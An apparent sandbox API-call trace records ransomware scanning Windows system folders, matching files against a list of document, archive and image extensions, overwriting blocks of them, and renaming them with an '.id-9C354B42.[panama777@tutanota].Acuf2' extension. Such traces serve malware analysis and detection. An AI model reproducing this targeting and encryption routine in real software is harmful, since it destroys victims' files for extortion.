	[0060.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fb3008
	[0060.214] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0060.214] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0060.216] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0060.216] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0060.218] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0060.218] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0060.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fb3008 | out: hHeap=0x4f0000) returned 1
	[0060.219] CloseHandle (hObject=0x1f4) returned 1
	[0060.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0060.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.220] lstrlenW (lpString=".doc") returned 4
	[0060.220] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString=".docx") returned 5
	[0060.220] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1
	[0060.220] lstrlenW (lpString=".pdf") returned 4
	[0060.220] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString=".xls") returned 4
	[0060.220] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString=".xlsx") returned 5
	[0060.220] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1
	[0060.220] lstrlenW (lpString=".ppt") returned 4
	[0060.220] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.220] lstrlenW (lpString=".zip") returned 4
	[0060.220] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString=".rar") returned 4
	[0060.220] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0060.220] lstrlenW (lpString=".bz2") returned 4
	[0060.220] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0060.220] lstrlenW (lpString=".7z") returned 3
	[0060.220] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0060.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.220] lstrlenW (lpString=".dbf") returned 4
	[0060.221] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.221] lstrlenW (lpString=".1cd") returned 4
	[0060.221] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.221] lstrlenW (lpString=".jpg") returned 4
	[0060.221] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.221] lstrlenW (lpString=".doc") returned 4
	[0060.221] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString=".docx") returned 5
	[0060.221] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1
	[0060.221] lstrlenW (lpString=".pdf") returned 4
	[0060.221] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString=".xls") returned 4
	[0060.221] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString=".xlsx") returned 5
	[0060.221] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1
	[0060.221] lstrlenW (lpString=".ppt") returned 4
	[0060.221] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.221] lstrlenW (lpString=".zip") returned 4
	[0060.221] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString=".rar") returned 4
	[0060.221] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0060.221] lstrlenW (lpString=".bz2") returned 4
	[0060.221] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0060.221] lstrlenW (lpString=".7z") returned 3
	[0060.221] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0060.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.222] lstrlenW (lpString=".dbf") returned 4
	[0060.222] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0060.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.222] lstrlenW (lpString=".1cd") returned 4
	[0060.222] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0060.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66
	[0060.222] lstrlenW (lpString=".jpg") returned 4
	[0060.222] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0060.222] lstrcmpiW (lpString1=".FNT", lpString2=".Acuf2") returned 1
	[0060.222] lstrlenW (lpString="CGMIMP32.FNT") returned 12
	[0060.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 17
	os_tid = 0x97c

	[0036.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36412d8
	[0036.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36512e0
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a08
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a120
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a20
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3c60020
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a38
	[0036.913] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a38, Size=0x20) returned 0x35d0110
	[0036.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a38
	[0036.913] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a38, Size=0x20) returned 0x35d0138
	[0036.913] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.913] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.913] Wow64DisableWow64FsRedirection (in: OldValue=0x35aff58 | out: OldValue=0x35aff58*=0x0) returned 1
	[0036.913] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0110 | out: hHeap=0x4f0000) returned 1
	[0036.914] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0138 | out: hHeap=0x4f0000) returned 1
	[0036.914] Sleep (dwMilliseconds=0x64) 
	[0037.053] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.053] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.053] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.054] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=89168) returned 1
	[0037.054] CloseHandle (hObject=0x168) returned 1
	[0037.054] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0037.054] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.054] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.054] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.054] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.054] lstrlenW (lpString=".doc") returned 4
	[0037.054] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.054] lstrlenW (lpString=".docx") returned 5
	[0037.054] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.054] lstrlenW (lpString=".pdf") returned 4
	[0037.054] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.054] lstrlenW (lpString=".xls") returned 4
	[0037.055] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.055] lstrlenW (lpString=".xlsx") returned 5
	[0037.055] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.055] lstrlenW (lpString=".ppt") returned 4
	[0037.055] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString=".zip") returned 4
	[0037.055] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.055] lstrlenW (lpString=".rar") returned 4
	[0037.055] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.055] lstrlenW (lpString=".bz2") returned 4
	[0037.055] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.055] lstrlenW (lpString=".7z") returned 3
	[0037.055] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString=".dbf") returned 4
	[0037.055] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString=".1cd") returned 4
	[0037.055] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString=".jpg") returned 4
	[0037.055] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.055] lstrlenW (lpString=".doc") returned 4
	[0037.055] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.055] lstrlenW (lpString=".docx") returned 5
	[0037.055] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.055] lstrlenW (lpString=".pdf") returned 4
	[0037.055] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.056] lstrlenW (lpString=".xls") returned 4
	[0037.056] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.056] lstrlenW (lpString=".xlsx") returned 5
	[0037.056] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.056] lstrlenW (lpString=".ppt") returned 4
	[0037.056] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.056] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.056] lstrlenW (lpString=".zip") returned 4
	[0037.056] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.056] lstrlenW (lpString=".rar") returned 4
	[0037.056] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.056] lstrlenW (lpString=".bz2") returned 4
	[0037.056] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.056] lstrlenW (lpString=".7z") returned 3
	[0037.056] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.056] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.056] lstrlenW (lpString=".dbf") returned 4
	[0037.056] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.056] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.056] lstrlenW (lpString=".1cd") returned 4
	[0037.056] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.056] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0037.057] lstrlenW (lpString=".jpg") returned 4
	[0037.057] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.057] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.057] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.057] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.057] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=87616) returned 1
	[0037.057] CloseHandle (hObject=0x168) returned 1
	[0037.057] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0037.057] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.057] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.057] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.057] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.057] lstrlenW (lpString=".doc") returned 4
	[0037.057] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.058] lstrlenW (lpString=".docx") returned 5
	[0037.058] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.058] lstrlenW (lpString=".pdf") returned 4
	[0037.058] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.058] lstrlenW (lpString=".xls") returned 4
	[0037.058] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.058] lstrlenW (lpString=".xlsx") returned 5
	[0037.058] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.058] lstrlenW (lpString=".ppt") returned 4
	[0037.058] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString=".zip") returned 4
	[0037.058] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.058] lstrlenW (lpString=".rar") returned 4
	[0037.058] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.058] lstrlenW (lpString=".bz2") returned 4
	[0037.058] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.058] lstrlenW (lpString=".7z") returned 3
	[0037.058] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString=".dbf") returned 4
	[0037.058] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString=".1cd") returned 4
	[0037.058] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString=".jpg") returned 4
	[0037.058] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.058] lstrlenW (lpString=".doc") returned 4
	[0037.059] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.059] lstrlenW (lpString=".docx") returned 5
	[0037.059] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.059] lstrlenW (lpString=".pdf") returned 4
	[0037.059] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.059] lstrlenW (lpString=".xls") returned 4
	[0037.059] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.059] lstrlenW (lpString=".xlsx") returned 5
	[0037.059] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.059] lstrlenW (lpString=".ppt") returned 4
	[0037.059] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.059] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.059] lstrlenW (lpString=".zip") returned 4
	[0037.059] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.059] lstrlenW (lpString=".rar") returned 4
	[0037.059] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.059] lstrlenW (lpString=".bz2") returned 4
	[0037.059] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.059] lstrlenW (lpString=".7z") returned 3
	[0037.059] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.059] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.059] lstrlenW (lpString=".dbf") returned 4
	[0037.059] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.059] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.059] lstrlenW (lpString=".1cd") returned 4
	[0037.059] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.059] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0037.059] lstrlenW (lpString=".jpg") returned 4
	[0037.059] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.060] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.060] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.060] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.060] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=91712) returned 1
	[0037.060] CloseHandle (hObject=0x168) returned 1
	[0037.060] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0037.060] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.060] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.060] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.060] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.060] lstrlenW (lpString=".doc") returned 4
	[0037.060] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.060] lstrlenW (lpString=".docx") returned 5
	[0037.060] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.060] lstrlenW (lpString=".pdf") returned 4
	[0037.060] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.060] lstrlenW (lpString=".xls") returned 4
	[0037.060] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.060] lstrlenW (lpString=".xlsx") returned 5
	[0037.061] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.061] lstrlenW (lpString=".ppt") returned 4
	[0037.061] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString=".zip") returned 4
	[0037.061] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.061] lstrlenW (lpString=".rar") returned 4
	[0037.061] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.061] lstrlenW (lpString=".bz2") returned 4
	[0037.061] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.061] lstrlenW (lpString=".7z") returned 3
	[0037.061] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString=".dbf") returned 4
	[0037.061] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString=".1cd") returned 4
	[0037.061] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString=".jpg") returned 4
	[0037.061] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.061] lstrlenW (lpString=".doc") returned 4
	[0037.061] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.061] lstrlenW (lpString=".docx") returned 5
	[0037.061] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.061] lstrlenW (lpString=".pdf") returned 4
	[0037.061] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.061] lstrlenW (lpString=".xls") returned 4
	[0037.061] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.062] lstrlenW (lpString=".xlsx") returned 5
	[0037.062] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.062] lstrlenW (lpString=".ppt") returned 4
	[0037.062] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.062] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.062] lstrlenW (lpString=".zip") returned 4
	[0037.062] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.062] lstrlenW (lpString=".rar") returned 4
	[0037.062] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.062] lstrlenW (lpString=".bz2") returned 4
	[0037.062] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.062] lstrlenW (lpString=".7z") returned 3
	[0037.062] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.062] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.062] lstrlenW (lpString=".dbf") returned 4
	[0037.062] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.062] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.062] lstrlenW (lpString=".1cd") returned 4
	[0037.062] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.062] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0037.062] lstrlenW (lpString=".jpg") returned 4
	[0037.062] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.062] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.062] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.062] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.063] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=94800) returned 1
	[0037.063] CloseHandle (hObject=0x168) returned 1
	[0037.063] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0037.063] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.063] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.063] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
